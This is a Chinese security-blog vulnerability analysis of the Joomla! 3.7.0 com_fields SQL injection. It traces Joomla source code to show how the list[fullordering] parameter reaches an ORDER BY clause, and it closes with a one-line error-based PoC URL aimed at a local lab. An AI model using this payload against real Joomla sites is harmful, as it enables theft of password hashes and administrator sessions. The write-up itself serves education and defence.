【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC、漏洞环境)

阅读量369287

|

发布时间 : 2017-05-18 12:16:53

http://p0.qhimg.com/t01e77aeafc57bf5a6a.jpg

作者:Balis0ng

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

传送门

【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)

前言

Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3%的网站运行Joomla!,同时它占有全球9%以上的CMS市场份额。

截止至2016年11月,Joomla!的总下载量超过7800万次。目前Joomla!官方还提供了超过7800个扩展插件(含免费、收费插件)及其他的可用资源可供下载。


漏洞概述


漏洞等级严重

漏洞类型:SQL 注入

利用难度:简单

利用方式:远程

影响版本:Joomla! 3.7.0 Core

漏洞简述:这个漏洞出现在3.7.0新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。由于对请求数据过滤不严导致sql 注入,sql注入对导致数据库中的敏感信息泄漏,例如用户的密码hash以及登陆后的用户的session(如果是获取到登陆后管理员的session,那么整个网站的后台系统可能被控制)。

漏洞分析

看了一下漏洞概要,发现写的比较简单,自己复现的时候发现调用关系比较复杂,特别是在类函数的调用中,稍不注意就钻错函数了。

首先,在E:/www/joomla370/components/com_fields/controller.php中有这样一段代码:

public function __construct($config = array())
    {
        $this->input = JFactory::getApplication()->input;
        // Frontpage Editor Fields Button proxying:
        if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
        {
            // Load the backend language file.
            $lang = JFactory::getLanguage();
            $lang->load('com_fields', JPATH_ADMINISTRATOR);
            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }
        parent::__construct($config);
    }

这里我们接收两个参数,一个view和一个layout,然后满足一定条件就进入到了if中,这里有一个关键点,设置了一个$config['base_path']为administrator的components目录。

然后调用父类的构造方法:

parent::__construct($config);

我们跟一下这个方法:

在E:/www/joomla370/libraries/legacy/controller/legacy.php中的__construct方法,函数体太长,就不贴了,主要在395行,加入我们的model:

        if (array_key_exists('model_path', $config))
        {
            // User-defined dirs
            $this->addModelPath($config['model_path'], $this->model_prefix);
        }
        else
        {
            $this->addModelPath($this->basePath . '/models', $this->model_prefix);
        }

这里是进入到了else这个分支,然后这个地方的$this->basePath就是我们最开始的注意点,是administators/components

然后设置完了后就调用该类中的display方法进行一个实际操作,包括创建model之类的操作,在第613行:

    public function display($cachable = false, $urlparams = array())
    {
        $document = JFactory::getDocument();
        $viewType = $document->getType();
        $viewName = $this->input->get('view', $this->default_view);
        $viewLayout = $this->input->get('layout', 'default', 'string');
        $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
        // Get/Create the model
        if ($model = $this->getModel($viewName))
        {
            // Push the model into the view (as default)
            $view->setModel($model, true);
        }

这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel进行一个操作:

    public function getModel($name = '', $prefix = '', $config = array())
    {
        if (empty($name))
        {
            $name = $this->getName();
        }
        if (empty($prefix))
        {
            $prefix = $this->model_prefix;
        }
        if ($model = $this->createModel($name, $prefix, $config))
        {
            // Task is a reserved state
            $model->setState('task', $this->task);
            // Let's get the application object and set menu information if it's available
            $menu = JFactory::getApplication()->getMenu();
            if (is_object($menu))
            {
                if ($item = $menu->getActive())
                {
                    $params = $menu->getParams($item->id);
                    // Set default state data
                    $model->setState('parameters.menu', $params);
                }
            }
        }
        return $model;
    }

这里调用createModel方法进行类的实例化。

并返回$model。

接着调用setModel函数将$model push到$view中。

到665行调用视图的display函数:

        else
        {
            $view->display();
        }
        return $this;

然后我们跳转到视图的display函数中来,在E:/www/joomla370/administrator/components/com_fields/views/fields/view.html.php中:

    public function display($tpl = null)
    {
        $this->state         = $this->get('State');
        $this->items         = $this->get('Items');
        $this->pagination    = $this->get('Pagination');
        $this->filterForm    = $this->get('FilterForm');
        $this->activeFilters = $this->get('ActiveFilters');

首先看第一行,这里调用了get函数,参数是State,我们跟进这个get函数,在E:/www/joomla370/libraries/legacy/view/legacy.php中第417行:

            $method = 'get' . ucfirst($property);
            // Does the method exist?
            if (method_exists($this->_models[$model], $method))
            {
                // The method exists, let's call it and return what we get
                $result = $this->_models[$model]->$method();
                return $result;
            }
        }

这里我们的$property是我们传进的实参也就是'State',那么拼接起来后的方法名就是getState,然后调用这个方法,由于这个方法在filedsmodel类中没有,那么会往父类里面找,根据一层层的继承关系,我们找到了getState方法,在E:/www/joomla370/libraries/legacy/model/legacy.php中

public function getState($property = null, $default = null)
    {
        if (!$this->__state_set)
        {
            // Protected method to auto-populate the model state.
            $this->populateState();
            // Set the model state set flag to true.
            $this->__state_set = true;
        }

然后这里会调用populateState方法,这个populateState只会调用一次。这个方法到底是哪个类中的呢?毋庸置疑,是filedsModel中的populateState方法:

protected function populateState($ordering = null, $direction = null)
    {
        // List state information.
        parent::populateState('a.ordering', 'asc');
        $context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
        $this->setState('filter.context', $context);

可以看到这里有调用了父类populateState方法,我们跟进到父类,在E:/www/joomla370/libraries/legacy/model/list.php

中,也就是漏洞原作者开始写的地方:

在第496行:

if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
            {
                foreach ($list as $name => $value)
                {
                    // Exclude if blacklisted
                    if (!in_array($name, $this->listBlacklist))
                    {
                        // Extra validations
                        switch ($name)
                        {
                            case 'fullordering':
                                $orderingParts = explode(' ', $value);
                                if (count($orderingParts) >= 2)

这里取了个list的值进来赋值给了$list

然后将$list遍历出来,接着switch 键值。switch代码过多,我们只需要看switch完后的一个操作,也就是在567行:

$this->setState('list.' . $name, $value);

通过这个我们可以设置list.fullfullordering

那么这里是设置了,总得取出来才行啊,那我们开始看如何将这个值取出来的。

上面说道在视图文件中的display方法中,利用get('State')来调用了getState方法。紧跟着这个操作的下一行,就有一个get('Item')。

public function display($tpl = null)
    {
        $this->state         = $this->get('State');
        $this->items         = $this->get('Items');

通过上面的分析,我们可以轻松的找到正确调用的方法,没错,就是E:/www/joomla370/libraries/legacy/model/list.php中的getItems方法:

public function getItems()
    {
        // Get a storage key.
        $store = $this->getStoreId();
        // Try to load the data from internal storage.
        if (isset($this->cache[$store]))
        {
            return $this->cache[$store];
        }
        try
        {
            // Load the list items and add the items to the internal cache.
            $this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
        }

这里调用了一个_getListQuery方法,继续跟踪,就在该类里面:

protected function _getListQuery()
    {
        // Capture the last store id used.
        static $lastStoreId;
        // Compute the current store id.
        $currentStoreId = $this->getStoreId();
        // If the last store id is different from the current, refresh the query.
        if ($lastStoreId != $currentStoreId || empty($this->query))
        {
            $lastStoreId = $currentStoreId;
            $this->query = $this->getListQuery();
        }

然后这里又调用了一个getListQuery方法,这里调用的getListQuery不是此类的getListQuery,而是子类,也就是filedsModel类里的getListQuery了,我们看一下该方法,在该方法的最后呢,也就是304左右:

        // Add the list ordering clause
        $listOrdering = $this->getState('list.fullordering', 'a.ordering');
        $orderDirn    = '';
        if (empty($listOrdering))
        {
            $listOrdering  = $this->state->get('list.ordering', 'a.ordering');
            $orderDirn     = $this->state->get('list.direction', 'DESC');
        }
        $query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));        
        return $query;
    }

这里就调用getState将我们前面设置的list.fullordering的值给取了出来,然后带入到了order函数中去了,就造成了一个order by的注入。


PoC

http://localhost/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)

http://p4.qhimg.com/t01f1880998aa2ac5e9.jpg

PoC验证截图


漏洞环境


感谢开源社区力量

漏洞靶场环境 由phithon维护

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

https://github.com/phith0n/vulhub/tree/master/joomla/CVE-2017-8917

总结

总的来说,注入触发的流程也不新鲜了,早在之前的joomla爆的一些组件注入中,比如之前的history组件注入,也多数是因为populate函数中的对一些参数过滤不严格,然后导致后来取出来的时候就产生了注入。


参考链接


https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html  


传送门


【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)


本文由Balis0ng原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/86119

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
Balis0ng
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66